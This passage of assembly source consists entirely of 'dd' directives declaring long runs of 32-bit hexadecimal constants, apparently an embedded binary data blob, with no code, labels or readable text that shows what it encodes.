0EFC80FACh, 0A0E7D711h dd 1FA00EC7h, 1367C4BAh, 0F13AA400h, 0E3184801h, 6C8B00A2h dd 94520FB2h, 0D600DAC1h, 0FE158FD9h, 94A4689h, 0FB2BCA3Dh dd 0D13E58A3h, 307396F1h, 0B4004580h, 94CA5D31h, 78BA99Ah dd 0E8334DC7h, 5A83D005h, 5401818Ch, 2D930D57h, 0B2D01E1Bh dd 5985C08h, 607ED719h, 0F03957h, 3C200B56h, 28DE2Ah, 8D300CECh dd 5A2BD43h, 7C78D1FCh, 520D58C0h, 1FF8B1C3h, 40221F54h dd 0A072EC16h, 28017EE6h, 9BCE7A1Bh, 89CCB292h, 789100ABh dd 725EEB4h, 3E0162ADh, 751CEBC8h, 6A96BBh, 21E4DE21h dd 6F037FAEh, 913933D0h, 80D8C856h, 3D5E62Dh, 0C6656459h dd 75AB67D7h, 0AFC191E8h, 39DC000h, 988A5C5Fh, 5940062h dd 0D211BFBCh, 0DE3BB507h, 7ED58388h, 0D091A540h, 0E2FD0DCDh dd 11173864h, 8197000h, 68CBEA87h, 390058B2h, 0E89AECC7h dd 21076h, 0D455A631h, 5166B2E5h, 1B8C8000h, 6C990123h dd 435B0074h, 0B3A82FFh, 6007AE9h, 85489621h, 0F6F7E414h dd 5157008Dh, 398B78A1h, 0F0952373h, 13BF002Bh, 2EC17FE3h dd 88F02277h, 0F0661200h, 1BD35EFBh, 177DECh, 166F7A93h dd 890EE1E9h, 1103E6F4h, 4E81CD6Ah, 0E2EAFB05h, 40ECEA74h dd 18DAD4h, 0CAE19572h, 0C55841A9h, 3008675h, 40C98F09h dd 3729DD4h, 4754F57h, 1003DA9Ch, 0E88BB2B4h, 0B519D023h dd 798539CFh, 52576100h, 9CF65071h, 55B24000h, 456D7AADh dd 0A37700C3h, 0DA6C8863h, 0B303A1F9h, 6124F10h, 8690F02Ah dd 6AD50796h, 0A06E01E9h, 0C6663F48h, 82495F00h, 700CFD51h dd 0AAF50075h, 0C48E970Eh, 8F00A944h, 496AD66Eh, 0E2ED24B2h dd 0AD31C0A5h, 0DDF3206Ch, 9FD4BE24h, 802E0038h, 21A21397h dd 20EB0014h, 0C0CCE237h, 0E198392Bh, 0ED29000h, 0AA38CA8Eh dd 0B2410094h, 0CD995E0Ah, 0F900E68Bh, 0B3886E68h, 0F2B146h dd 0D15DCACh, 0D05F2127h, 25DF7600h, 0A2931FA3h, 3AFB0569h dd 8003A1F8h, 6FA5CB7Fh, 48B0B44Ch, 80D63A21h, 705C6BAEh dd 4812D58Bh, 5F3B1F2Bh, 0CFCB1700h, 0F8F2739Dh, 0B8440F00h dd 0AC267482h, 9FD0716h, 0B032F914h, 0A5A3E0EFh, 0CEB4700h dd 5FE46045h, 0A9D300E8h, 39F526CEh, 0A6009B3Bh, 0DE7A2B18h dd 0F8A0EFh, 2E7202E0h, 0C8C6F170h, 0EB38AB01h, 0C2DBB4D3h dd 718B66C0h, 396C0087h, 78B50130h, 19004021h, 0A0369142h dd 0DC6662h, 3364AFB3h, 3F3C327Fh, 537CBE00h, 3A2D656Fh dd 0FB5A5808h, 0A87EB800h, 8B8E9CBCh, 92223E07h, 37B03D50h dd 55B1B09h, 5C710E1Eh, 0AA80FB6Ch, 234E34h, 0D6794CE0h dd 9291D112h, 9A1F5B1Dh, 6BA86840h, 6C4506h, 2D64140h dd 5DA5F4DBh, 4473FA06h, 5CFA2665h, 8000C08Fh, 0DA28BEEDh dd 4B057BEEh, 9A33B868h, 31AE2880h, 5A7C6Fh, 17F9944Fh dd 0A482597Ah dd 502C2E24h, 7D95A501h, 0E9E4EE9Bh, 0CAA1B04h, 0A3D11892h dd 8CF4E08Fh, 3A8B11C0h, 1FF381h, 0FB856E0Fh, 0F1778752h dd 0AD0D6B1Eh, 0B9629900h, 0A24FAFh, 1B5F7E43h, 63D7E706h dd 0D12401Eh, 3427E880h, 508015h, 7A5B0F32h, 0DDD81054h dd 807E4738h, 0AA02E499h, 0A0A5EC15h, 1DD36C90h, 989BF70Bh dd 1C3AB957h, 969A409h, 0CBBE805Eh, 7989FF0Dh, 275A01D4h dd 0C1C0E4F2h, 0E38D04Eh, 0CE84C600h, 0E54A12ACh, 94C405D1h dd 7EB0AF2h, 20D2F80Ch, 0EE91D08Bh, 4E4FE00h, 58E688B5h dd 87F40066h, 0EB56F26Ah, 24000E37h, 0E9094F7Ch, 71D0BCh dd 459E4C11h, 808CCA94h, 430069F6h, 0D8C01AAFh, 70EB637h dd 0B107A27Ah, 30659794h, 16CFD3C3h, 8A981A00h, 0B8D4B424h dd 0DE6A5018h, 0DB0A16E5h, 6F5F039Ch, 74D85029h, 1F00896Ch dd 3B58F9B9h, 1F40177Eh, 0C0ED67E8h, 1E98E3CBh, 3404CE97h dd 628D2074h, 0EC11E987h, 3DF0E47Bh, 0B1C7DA9h, 0F1087A02h dd 0A5EB9D80h, 0B00138Ch, 74553B43h, 540DC4A2h, 31C091h dd 6C82AC7Dh, 618C09A3h, 8A9E3E0Fh, 73201932h, 0B885BA80h dd 0EBB3BA99h, 0CC6F8E03h, 0F31571h, 4052B59Ch, 12A0B0A7h dd 3A649A7Fh, 7B60C269h, 6D3408ACh, 340D6033h, 0D5C42180h dd 0DA4003D4h, 1BB5B23Bh, 0AAE837B3h, 5600AC93h, 0EB4B0C5Bh dd 12A6691Fh, 1A3E828h, 634C074h, 0D68A4D1h, 9A848E00h dd 736EEDCBh, 0E708CADFh, 52A500FCh, 1E6D8EF0h, 923B0401h dd 23606F6Ah, 24D3E7F8h, 8E4052BCh, 1E81B312h, 40E972D5h dd 9F693184h, 139A3900h, 2D6E57C9h, 605AE8D2h, 15963092h dd 0D600259Eh, 0C51BCECFh, 9DB8DAAh, 2F090C1Ch, 568EB83h dd 40A4D4C0h, 4D62C4A7h, 316318A2h, 0C80A2E18h, 8ED238h dd 67DAEF5h, 0B6DE1C7Ah, 0B4F2F00Eh, 3893E22Eh, 0D2804880h dd 0BD030646h, 50AD130Ch, 0CAFB2100h, 6B51CC1h, 0BF94283Ch dd 1998CFB4h, 80D9F804h, 0A4656718h, 0B1E2981Dh, 0E90400F9h dd 6DEE0F46h, 0D72D0F0Dh, 9E20972Ch, 65CABECCh, 0CFA03Ch dd 769126C7h, 9AC3B0h, 3B7C5DC6h, 0D0F31D36h, 2485C404h dd 788421C8h, 40CAA600h, 3069F7Fh, 7922E871h, 83A85BF9h dd 0B400DDB8h, 7C12FD6h, 165FE9h, 0E057F5CFh, 0C7E5841Ch dd 0DC8F04ADh, 2DF2C023h, 34FA961h, 9C0E2774h, 2900D5A8h dd 0CEF0B4A4h, 37E5CD6h, 36DE3AC5h, 0FAF0F14Fh, 5400F4E0h dd 0A2E10957h, 0C038F6E2h, 0F9DBD338h, 0B4035230h, 5B3DBFFCh dd 0AE40BF8Bh, 587ABA41h, 8403F3EDh, 0C51E8C6Eh, 0A0459100h dd 0EECA90B9h, 0EA710374h, 0C673E41Fh, 30052000h, 0E0BF77EFh dd 74EC0E48h, 1A844906h, 28D000DCh, 63D3C5h, 5892C4C3h dd 0DE755CF6h, 50619113h, 0D624B900h, 1E7265E5h, 0A093ED9h dd 8488EC5Bh, 0C01E4CC5h, 53ED8C36h, 0C10F2700h, 0D319DE51h dd 0E9663161h, 0DA9C42A9h, 0B65A4A0h, 7E00B641h, 11CC736Bh dd 2DD77h, 9B5E7C45h, 0FB837FAEh, 2A983901h, 0C91F0F97h dd 0A8A39450h, 0C7991E14h, 0D0548FA1h, 0EA60342Eh, 0D2F0F91Ah dd 845C5128h, 8E8E7D21h, 0BF61EDB6h, 8E86E30h, 0B2D94040h dd 3BCD0300h, 0D46C6BB4h, 0D57F0C48h, 0D6415D5Bh, 0CF324B00h dd 0CD33A4C4h, 66091E2Ch, 0BF5080F2h, 0A3E645F3h, 91686D03h dd 0E2A8B6h, 0C1981EE8h, 5B2BD019h, 26004EF4h, 6272AC95h dd 4B02EAh, 4F7EAB01h, 389FF792h, 0AAB76B00h, 0FC1D96CDh dd 0A0B8606Ch, 7F20369Bh, 0B1545100h, 7117EE26h, 0E3AC2AD5h dd 607805C4h, 0FB862E7Ch, 9EED9280h, 215C67BAh, 0A8925024h dd 0A30E607Ah, 0FDB313BCh, 1E7C508h, 0BF9165EDh, 0E29DD0C9h dd 4166DB00h, 54C115C4h, 55B73CAh, 0D1CF7DE6h, 0A8E85CF0h dd 320700D4h, 3C4B39FAh, 0AA00A828h, 676B7552h, 0F448C6h dd 5B374B5h, 5AC315F3h, 56BF5406h, 0DC01BFBh, 19ACC0F1h dd 0A9344160h, 0E5B8503Fh, 0BB0011A7h, 1D80585Ch, 5CFD4773h dd 21606C13h, 0BF8CE02Ah, 0D61E34F0h, 471826C2h, 86400F49h dd 818CF702h, 19257058h, 1F8810DAh, 0B5EB038Dh, 6A16B350h dd 5F0934C8h, 7EF05718h, 376B7BA8h, 70C0689Fh, 8B531E23h dd 0EC99E705h, 0B430BC01h, 10F593BDh, 0C4A66871h, 6E00E637h dd 9780925Dh, 311B741Dh, 5E5613C0h, 2061157h, 0F428C1A9h dd 0D140E340h, 2CA0ADF5h, 0E4389258h, 91A7217Ah, 0C179002Ah dd 0D7D3E9Fh, 616307AAh, 0E01DEF4Fh, 7F32EA6Ch, 0E5818491h dd 18BED2EDh, 84498021h, 0A271000h, 649201CDh, 0D69B2CD8h dd 0C2068AE9h, 6600F42Bh, 80F3BEEAh, 850824A2h, 6BC00E8h dd 279B8135h, 0A31D197Eh, 640C136Eh, 0FA01Fh, 0F9323D1Eh dd 8096F837h, 0C295690Ch, 0A41651D1h, 0EE190050h, 5497BF06h dd 0E50EA6A9h, 0A01FAD3Eh, 7D5D4512h, 881600C1h, 0C9F0A0BCh dd 0F5006176h, 68F9E889h, 0EDD58Ch, 8825C659h, 0B8B1B33h dd 808E623Fh, 2A5663C7h, 0EDE7F565h, 0CB0CECh, 0ADC4FC20h dd 140F4F42h, 60C7B10Ch, 0B5711Ch, 1E38B73Fh, 1978EF52h dd 0DFE06F8h, 9520A560h, 0EF40DFC9h, 51371180h, 6FF092E5h dd 4060B8D0h, 6E00C010h, 91562CE3h, 0EF4CFFh, 683C6AF6h dd 0F03EDA65h, 9AD4CCEDh, 92D33D0Ah, 46563097h, 13E800AEh dd 0F0F77B9Ah, 5FC100C2h, 0BB0742ABh, 0F800B11Eh, 7D5A4A0Bh dd 0B0A1C4BAh, 9021A04Bh, 0F81767B2h, 40CA27BCh, 4D3E861Ch dd 4572CD00h, 0A54334CBh, 7A3F0009h, 8DB4D080h, 8EFD251Eh dd 276AB238h, 23DF9161h, 302F99D2h, 3C21E808h, 162E6EDBh dd 1A283A92h, 0E5418A00h, 2223CA9Eh, 1E490302h, 151DB097h dd 0B300887Eh, 823B2871h, 3AD4B21Fh, 862887E4h, 201200C4h dd 0FECE7094h, 5D3B679Ch, 9A118006h, 0EA8B3C07h, 0E54618FAh dd 412810Ah, 3449F18h, 395C68h, 1AA3A0C9h, 0DCDF01D5h dd 1466F758h, 13406EEAh, 720571AAh, 404487BAh, 0FB001891h dd 196A7098h, 0D64FD82Eh, 0D5158602h, 520466Fh, 23E08A43h dd 710482E8h, 8617D4A0h, 0B3014DEDh, 0A4E66637h, 0E870F326h dd 6721C020h, 28AE4E15h, 0B0D9ED00h, 5148E70Ah, 0FD19401Ah dd 433CD20Eh, 0DA300B5h, 1A68FD8h, 0FC55B9F1h, 8ACB5088h dd 0A8B1EBD0h, 9C72E760h, 6862523Bh, 90BD2Ah, 0D2718894h dd 56894ACDh, 0AEF85B09h, 53040030h, 0E4707493h, 458892B4h dd 0B2C8E328h, 491FE81h, 6066C700h, 864AE891h, 1E05A20h dd 9D6EDF05h, 40F0C118h, 9CFABF92h, 7BF9B00Fh, 5104820Dh dd 9C84A841h, 4080DF11h, 0DE30EE4Eh, 2322D443h, 4D0CF001h dd 255A2A44h, 0C0C7D8DCh, 1AE3DDC0h, 0C9151736h, 0ED0343Ch dd 730AEE77h, 99581C30h, 414A3C3Fh, 0C56005F5h, 40762B12h dd 0BA4D9C40h, 8F437E30h, 0FC00B922h, 40734D28h, 2C43956h dd 29EF8544h, 59C01D4Ah, 0EEC0F12Eh, 0D1DBB366h, 35103836h dd 0C36012h, 6455BC20h, 0CB0A5319h, 0E83EE625h, 34024C10h dd 0CA1FA29Dh, 0BC02FF62h, 811882F0h, 916A0865h, 0CD6644D8h dd 514F0021h, 8CB85267h, 0B43D3EC5h, 0ED5D8141h, 6020F05Ch dd 198080BDh, 0A5DED1FBh, 94A84311h, 1600DB0Bh, 9AC77A0Eh dd 1EEC2635h, 5EAAFBBFh, 5D87C2B5h, 0D4B0DE18h, 92117CEBh dd 5284D637h, 73CD002Eh, 70E2FC7Ch, 2D320098h, 50779930h dd 0C498190Ah, 96FBCF00h, 0C31DF969h, 50BC7290h, 1ABA8C38h dd 0D9191F59h, 0D8878404h dd 6E7DD044h, 4AF94B10h, 5820D5C9h, 216E4D52h, 1E5C9700h dd 81B04485h, 3CCB055Eh, 49BB7F5h, 0D81FDA84h, 4C9B160Ch dd 0A1726000h, 8687EA3Bh, 0E17EC20h, 0F4718E85h, 82A07B20h dd 100C996h, 0A278A87Eh, 0F6D4EFEh, 0A31C1EBAh, 0CCA515A4h dd 0E5080FF0h, 0C7BFF138h, 21388B3h, 915EE300h, 218387Ch dd 0B01BB119h, 0A04185BEh, 46463AEh, 0FE651823h, 56853887h dd 0DE13CC20h, 0D59339F7h, 0FE9A268Fh, 74BF10C3h, 8C8EFC80h dd 82A7BB3Bh, 0AD63BEE8h, 908D40E9h, 7310C0CCh, 51796B9h dd 249E0A03h, 0A389AD1Eh, 222100BAh, 0D75596D1h, 0FB00398Eh dd 4D482879h, 3E16235h, 0EB683A67h, 3100845Ah, 9B183D10h dd 781213Ch, 0F75C61AEh, 24159079h, 750873D1h, 0B29EE8C3h dd 0FA30E490h, 5EA0896h, 0E96289B2h, 0EEC500CDh, 0D32DA096h dd 525415h, 41A2DE4Fh, 611D6591h, 0BA000F93h, 34453798h dd 2EC50370h, 0A232F0CBh, 7FC081B0h, 26AA5103h, 9D14F6h dd 470B6278h, 68B437F1h, 0DB152400h, 924D8B1Ah, 29EE0056h dd 3B1C7741h, 3000063Fh, 89952585h, 80CF8D65h, 510CEB39h dd 0A8E7F102h, 81753093h, 56EDCC08h, 54912900h, 9A1C1604h dd 89253048h, 3E3ABDB1h, 0DFAC0E00h, 0D2C55085h, 309C0383h dd 5B136047h, 4B302974h, 1BE502Ah, 53DC00C1h, 52625114h dd 137957D7h, 0A2000EF8h, 0E4723689h, 1E3DD1h, 3967B44Fh dd 27DDBB83h, 6CD8B4A8h, 244D3400h, 549FA4Fh, 0FF590012h dd 84CA8E04h, 6700A4EBh, 985625AAh, 206E10h, 69C4D34Fh dd 0EC6C30C9h, 9C365000h, 0BE5CE52Bh, 761F0E72h, 0B787AEB3h dd 0BFE783BDh, 7025087Ch, 0ED7E33h, 0FA688ACAh, 607476Dh dd 4D90801Bh, 3D79AC53h, 0CD804139h, 4E1CB17Fh, 0C40165C6h dd 0E6725AD0h, 508028EDh, 16B1AA57h, 8A005688h, 0BFBEF880h dd 9707CC6h, 6C350EDFh, 0B3E3AC8Eh, 910007B0h, 0ED69232Eh dd 3310AF3h, 33F9AF34h, 2000F4A2h, 0BBB6649Ch, 0C1BC1FA5h dd 0E734E430h, 5720805Eh, 93C67B06h, 16033040h, 12BE51C8h dd 61C37C70h, 0E8FD733Fh, 0E21ECB6Dh, 0E8F5637Dh, 201DBE65h dd 5803DDAh, 0EAEDA4ECh, 0AFEE03B6h, 2B249B36h, 7DCC5110h dd 0BCFDC9C0h, 13431B6Dh, 0B8CA10h, 556543DCh, 1875228Ah dd 0E14E6F4h, 5932A293h, 30CE5072h, 5E026897h, 47626B6Dh dd 41BE387Eh, 3A806538h, 0BA2780C4h, 9A7BB5E9h, 60B5986Fh dd 4E1F491Ch, 9400D88Ah, 0C2D4B5EEh, 0A88E5586h, 1D7792E0h dd 43CF4C74h, 9DF23C15h, 251A0818h, 0B1B220h, 3E43077h dd 964C6366h, 8555F61Fh, 0C9AA2B41h, 5991E720h, 76188089h dd 8C8BF47Fh, 60168620h, 0A354788Fh, 0D600E76Eh, 5F7ED843h dd 1AAD9DDh, 9DEA3397h, 0EC4AE359h, 1C1D555Ah, 0F2C0FB82h dd 99392C5Ch, 7697AFDh, 0BDFABB42h, 80E254A9h, 5591D18Ah dd 87B57F00h, 0B6D2E461h, 12941EBFh, 80499FC5h, 8467EBA2h dd 2038093h, 1EE2CF13h, 6240A8A7h, 16120078h, 9B8C2E04h dd 0F601915Dh, 2142107Fh, 8AC0F97Eh, 0D7F150E9h, 5EF50071h dd 132CA27Ah, 0EFCCB27h, 5C00E0EAh, 0A811F002h, 700B9ACEh dd 9D70015h, 28261096h, 0E7747353h, 0FA90AF90h, 296E510Eh dd 803BDC36h, 5E48AFD9h, 8326A2h, 0FBF21F1Eh, 0AE758010h dd 1B013D90h, 384BEF63h, 7AC9227Fh, 0F3D88CCDh, 66AC0735h dd 6F650ED6h, 61FC3780h, 0F104951Fh, 6D05AE09h, 339C0ABh dd 0B200648Ah, 23372656h, 39C8DDE5h, 1B80B70Fh, 771873DEh dd 423F3B89h, 0DAB31F7Bh, 0CF660A80h, 781B99h, 0F5CB18C9h dd 124B5425h, 10139B00h, 6F640C01h, 7FEC07C8h, 7002FA75h dd 0BB76A5B4h, 59D86C00h, 8F6671E2h, 0C45300BFh, 658A4D89h dd 787B078Eh, 855A2A00h, 804710E5h, 189F1E45h, 919C406Dh dd 59056148h, 0D56A8100h, 0A53BEC65h, 8B5D0097h, 44CD2BEDh dd 97903E8Ah, 9D665A1Eh, 0A8BBBD47h, 0C8AB3DA0h, 3B170E1Dh dd 1DE812Ch, 3EE38CBh, 6C8570F5h, 693EED00h, 0ECC07904h dd 0AFF0066h, 0A091E240h, 0B97B7DFEh, 9F813300h, 15F5D27Ch dd 0BD86001Ah, 384688CAh, 0DE1F1DE3h, 3C0C24Bh, 0C6E4454Dh dd 955838F6h, 85FF9380h, 420EB156h, 0B6498702h, 6086F957h dd 0F29ED4h, 0AE40A084h, 0B815DB9Ch, 82621A00h, 10FCD9B2h dd 0C00D007Dh, 0BBE11639h, 577B7B84h, 4C498C00h, 423F4A31h dd 11C90052h, 599320AFh, 19EC95A6h, 4F0FBD7Bh, 8016E3CBh dd 3ECC9943h, 0ABF63B64h, 29C17881h, 305EF28Fh, 0E2004A39h dd 53DA3033h, 0E60C8808h, 0C7400084h, 0F075E6C1h, 5800708Eh dd 90D2EB1Ch, 0B08D5Fh, 0C6B29F30h, 8F43AFEAh, 0E8C94203h dd 0B8850495h, 7F0DD7h, 0EEA8F1C5h, 0EC09DBF5h, 48EA1F00h dd 5C6E83B5h, 85510005h, 0EB0D8620h, 0CD0160C8h, 0C3084D49h dd 7560F399h, 55230039h, 0E6461142h, 96139CDFh, 5300EE6Ah dd 79F02BE9h, 1831010Dh, 59C1EFADh, 731BC428h, 3BEDA000h dd 9ACAE4C0h, 8C7400CCh, 373E39C5h, 0C4000697h, 7E8AD455h dd 12C45C3h, 0C920FD47h, 0D4786DCFh, 100C485Dh, 0B08CFB0Dh dd 467603F0h, 5FA85E94h, 7A1539A0h, 0D252A100h, 6DE678F9h dd 0E38901D7h, 0F8BBC897h, 0D09CF073h, 4EC18400h, 6C48A3F5h dd 8ED20760h, 0E087C9C4h, 0F869953Bh, 2B925Ch, 0D153BD16h dd 57E3F90h, 0CEA75FBBh, 0A0B0C068h, 0DB02C637h, 64B3D97Ah dd 8888602Ah, 0CF871CC3h, 0C73FC097h, 16F0CA4Eh, 7579B003h dd 8865B294h, 12426B1h, 0ED35ACDh, 0F180CC72h, 2514FC75h dd 0E0053600h, 1AA5790Ch, 9A6B00BAh, 0DBB76502h, 0B0F6E3ADh dd 90C9F200h, 9BD9161Dh, 9FBA1736h, 0F9F50081h, 214395E3h dd 0B8FC0D00h, 73059604h, 310E261Eh, 83100044h, 957D4FA4h dd 7040600h, 3F25C456h, 6CF3005Ah, 10EDE8B3h, 0C71F9CC1h dd 30D4ABD9h, 0AE0A1CACh, 116ADEC0h, 60D8AC59h, 757618FDh dd 0D000FA26h, 549AE06Dh, 35011h, 35528BF0h, 4F3DAE2h dd 5A2E3300h, 0FC29A737h, 89CB0022h, 416D6C16h, 5E00A2F9h dd 0CD7F6201h, 3D988D05h, 6900B53Fh, 0BE83AFF5h, 9D005416h dd 0EEBF1EA5h, 39908Ah, 38FD0414h, 953D3A60h, 0D3FCF607h dd 77617E0Fh, 7880F4C6h, 635BF858h, 8402D832h, 0E47CC23Ah dd 0B51C40D9h, 8810005h, 9A341123h, 2F00D82Bh, 863FF32Dh dd 0CBCB48Dh, 0EF55A51Fh, 0C2004390h, 0B222040Dh, 0ADD259h dd 9A37069h, 0B8C399F3h, 71FC5700h, 0E02617B5h, 0FF780092h dd 0A71CBAFDh, 300C9363h, 0B959A8C4h, 0F19F00BEh, 1801DAE5h dd 9A0015C9h, 0C33F5AD3h, 0EE6F97h, 39098746h, 2A36EB33h dd 540C48h, 8EA6DAB9h, 0E3567BFh, 0A3919266h, 0BD72CD40h dd 0C9026174h, 68FCA06Fh, 17256028h, 1F54F030h, 0C0DD4052h dd 0F1A3E605h, 5100E9C6h, 608085D0h, 541F19h, 43D4E15Ch dd 4E039964h, 0B0887E04h, 2E810DD3h, 40E870A7h, 0ECDC0025h dd 0F381307h, 3A0797ACh, 0F87B4771h, 55CFD290h, 0AB7300FFh dd 0F1C3DDE6h, 43000ED4h, 35BC5257h, 5E048h, 4B8946E3h dd 5D171C36h, 0E4B9181Ch, 671DCAECh, 623861C0h, 0F0B759h dd 0F51764E5h, 6A2CF8BCh, 9ACB4E00h, 0D0A3CD4Ah, 8C6104C2h dd 805A5156h, 0C7C69298h, 9F279803h, 8034B079h, 0A47AB4h dd 0DF25F66Ch, 0C2B5E02Fh, 5816A200h, 2EDA7B7Fh, 780800C6h dd 0EB03AA28h, 20008CF0h dd 0C51B13D6h, 0FE88D10Fh, 83E90058h, 6772347Ah, 9A7269DCh dd 4C0061E0h, 0A5C321A9h, 31A8E32h, 735BD55Dh, 0FCD8685Eh dd 4F03E10Fh, 0FEA42E79h, 42228026h, 6D1007Ah, 4A08B484h dd 70039A2h, 0B8A41EAAh, 2A7943FEh, 0D4FD66h, 0F237F759h dd 0F3651AB0h, 0CF5B9600h, 0F09B8A53h, 39EF0036h, 0E8E61560h dd 3D07D0FEh, 0D1D5A34Ch, 0F0FA17A0h, 0D62B01E0h, 0B7EEEBE9h dd 0F150603Ah, 189DB00Eh, 0E0DC0F0Bh, 1A90B5BFh, 0F68FE244h dd 0D23F005Fh, 9429FE8Ah, 6A4CCE7Eh, 2C20300h, 0D8137776h dd 0FB1F66Fh, 0B32FCA11h, 730925C1h, 0D39D7036h, 3C07172Ch dd 0BF27A17Bh, 69E84FF1h, 1F1BF68Dh, 7602EB8h, 303DA6D2h dd 0CAFA8937h, 2FF31900h, 6F791420h, 535633BFh, 83C89AC0h dd 73002280h, 4AD7B872h, 0AE33ABh, 4EDC0AFEh, 25A8E727h dd 0EF389800h, 3DE4A55Fh, 4F70F53h, 0C240B612h, 0E19584BFh dd 31419905h, 588055CEh, 95D1E66h, 1A6B0C74h, 0F070E78Dh dd 97019228h, 4A1F48E8h, 4ED07A7Bh, 0D1F10F46h, 10586D9Ah dd 0CB40C06Bh, 0E91B0312h, 0E69CBE18h, 6949B188h, 22587C00h dd 97CE20BCh, 0F018B8E1h, 7BCA0076h, 0E92A78E6h, 0ED39FE42h dd 0E75C803Fh, 1C41F53h, 745000D1h, 49D9EE27h, 0AB03A682h dd 0EF5C6566h, 0F810D877h, 3D40BA7Ch, 0EC81F645h, 68DE3D62h dd 0FD19837Dh, 0D0D04EABh, 693B0Eh, 22EB4A2Fh, 0D604D890h dd 272E9E0Eh, 4B7B215Bh, 3980BFF3h, 0CFF94070h, 0F000F29Bh dd 9F461A59h, 0A49388h, 0B3945DDCh, 0B4DD6A31h, 0CE8A3406h dd 10C6F8h, 0E5734C46h, 252EA384h, 0F3004578h, 0A290866Dh dd 8103F2h, 4E5D34F5h, 0A84FB410h, 4867CB78h, 0B210E028h dd 0E3DDCh, 0B9DBA79h, 1B904966h, 881812F0h, 13DE0553h dd 26A1308Ch, 814CE61h, 3000A374h, 682AC47h, 3912974h dd 0BB23C67Ch, 0A3C8EB02h, 92079CDAh, 0C534B2ECh, 9FDE6360h dd 124A2F26h, 5F003176h, 3D5515C4h, 0B0D50016h, 0F96F3031h dd 0DB00C298h, 0A10F4353h, 186046A0h, 0B83F7A49h, 5C180477h dd 29C9D248h, 2D930138h, 0C2604234h, 411980E9h, 47DF3525h dd 15EC01h, 3617DD2Dh, 0A4AB7A91h, 71127476h, 7DA08659h dd 0BB65035Bh, 20DED44Ch, 1351C6D0h, 72DD4901h, 0BD5B44D8h dd 0D10620BCh, 314FB1EBh, 71C03103h, 0F0C5E974h, 12C13266h dd 6F095Eh, 77E1219Bh, 6B004CD8h, 377EA650h, 605DA046h dd 0A2C630DFh, 19907270h, 0D04938C8h, 9207A9F1h, 0DEF8ABB8h dd 490E509Fh, 89846FBDh, 1CDC3C60h, 0A0196164h, 20940620h dd 0C976C209h, 16108787h, 0E7814F7h, 0C01054E6h, 6A44F2AFh dd 46C8C3D0h, 882B8C21h, 1C60486Ch, 0C2A33406h, 0A73E26C9h dd 4B0C18B4h, 6948A320h, 0A99A2886h, 98D62B98h, 0EBB54060h dd 0CCA4075Ah, 10791029h, 8862E101h, 888D77D7h, 1BB85AC6h dd 632B02DCh, 0FEA9702h, 988302Ch, 1BC40C51h, 587C7EDCh dd 38D3A231h, 308ADF06h, 60480DE9h, 233FDEB4h, 95E6D4A8h dd 808CA957h, 8758E3C4h, 154680DEh, 0E1883682h, 400646F0h dd 0E10226D4h, 0EDA972CBh, 0F1A88296h, 64B4BEh, 42C10CCAh dd 0EEB71061h, 0EDA662Ch, 0EB08CC18h, 864D00BAh, 0AC913D53h dd 8800B72Ch, 0FEC0F67Eh, 0C4773A72h, 24540E38h, 9D182Ch dd 38C86603h, 3DAEB5FBh, 0F72A8B80h, 0CAC74BD0h, 70206B10h dd 6110B63Ch, 0CE0028D2h, 0B4A6F2Bh, 78CCA6F4h, 334B407Ch dd 0C618BADCh, 0CB2B1014h, 9F2B028h, 30FC202Ah, 64246E19h dd 7C5BC580h, 0D313700Fh, 8E38344Ch, 68B81031h, 88C62E3h dd 0A5806941h, 0FE487962h, 48CBCDFh, 9018A626h, 5E2E0082h dd 3A8B4B08h, 6B0F090Bh, 0F170355h, 0CB860E31h, 0BCF81086h dd 5AAB60C7h, 11CA1858h, 7180B818h, 7866805Dh, 0B05FCB81h dd 95937302h, 4E012D80h, 0A841F4E3h, 90980270h, 86AB08BFh dd 333C60DFh, 199D08B7h, 60630781h, 0CBE0CBD9h, 84A16AE6h dd 36D45119h, 6208C6Eh, 0DDC23056h, 8731810h, 18C6082Bh dd 0F030AF6Bh, 0CB08C63Bh, 4B3158D0h, 547361EDh, 6D19AC41h dd 55B8088Ch, 0E1C69918h, 4908C1E9h, 0D3500088h, 0C7B5E455h dd 81455609h, 0F0470BCEh, 11C7D56Eh, 0EEC19484h, 0EF04472h dd 0D08DF8Ch, 0D5284046h, 2C18914Bh, 0B410DA37h, 1D8E063Ch dd 21786609h, 2E1958FDh, 28384A52h, 37A47191h, 92441016h dd 5B8D05Eh, 0F6912BBEh, 0CFB79A80h, 896600AAh, 0A2B2E299h dd 0D90623F5h, 0E0CC91C0h, 0E1BA2070h, 0ED116763h, 46783741h dd 3CAD8450h, 0DB313CABh, 0B1002220h, 0EE40FC8Eh, 1947F2CBh dd 58EA722Eh, 11118FC8h, 5F8E81F3h, 0DEE041BAh, 9598A1E7h dd 1B6E8190h, 0BB1071AEh, 2E081B7Ch, 46F9187Ah, 3B8441D2h dd 0AC08984Fh, 87BF4EA0h, 68646D83h, 51F11E02h, 11069DDh dd 2F019A3Dh, 0F1710075h, 284153B5h, 82E0E4C0h, 11802984h dd 0B8AB5764h, 23A5AE80h, 31817A82h, 6C848FF6h, 31EED87Fh dd 84E04CF5h, 0D608884Dh, 107E1833h, 4650BCEEh, 0F0C3CD88h dd 1840934Eh, 788AD320h, 84A0B98Ch, 0F0FB9DE3h, 30CC472Ch dd 92C3495Ch, 54B65624h, 52E801C1h, 0D1D98C63h, 54EEA8CAh dd 93BEC87Ch, 83C6E704h, 0E9148720h, 0C01037F1h, 1B71DCB9h dd 10DD0FC9h, 9040F7EAh, 9D642AF4h, 0BA74B47Ah, 1FD7140Eh dd 5A58C078h, 0A2C126h, 0AD0F4062h, 0DA604A9h, 0F709CC00h dd 21337BC3h, 0F8E09D56h, 8C73744h, 8185A9F8h, 8492438h dd 1CD1DC11h, 0AA155700h, 0A5D6C184h, 9F1C8118h, 21D263h dd 0DD969E37h, 8483C278h, 1C96A501h, 7A9AC500h, 8DBCE27h dd 71E10697h, 8E8A133h, 783B6132h, 6549C41h, 0FD1772BBh dd 770140CAh, 0C13350CEh, 81D19756h, 41E198E9h, 1584E0D4h dd 64A987A1h, 0B30654A0h, 50A4B233h, 8A1E2D7h, 1C045498h dd 1D99EDBDh, 3890B703h, 83F17824h, 26666200h, 3CE868F5h dd 0EC4EA35Bh, 0D3730051h, 0B3B4FC01h, 6C860FC9h, 0A22350EEh dd 62E89472h, 10CAABD3h, 38582035h, 844F017Dh, 8C85DA5Ah dd 0E23088D4h, 0AF07B67h, 5E4076CCh, 0AF5906ACh, 707AA1B0h dd 0B2582219h, 0E0EF7C10h, 0C7DB2181h, 41E63C80h, 0E08B5042h dd 68C8D702h, 0B931D022h, 6B76D701h, 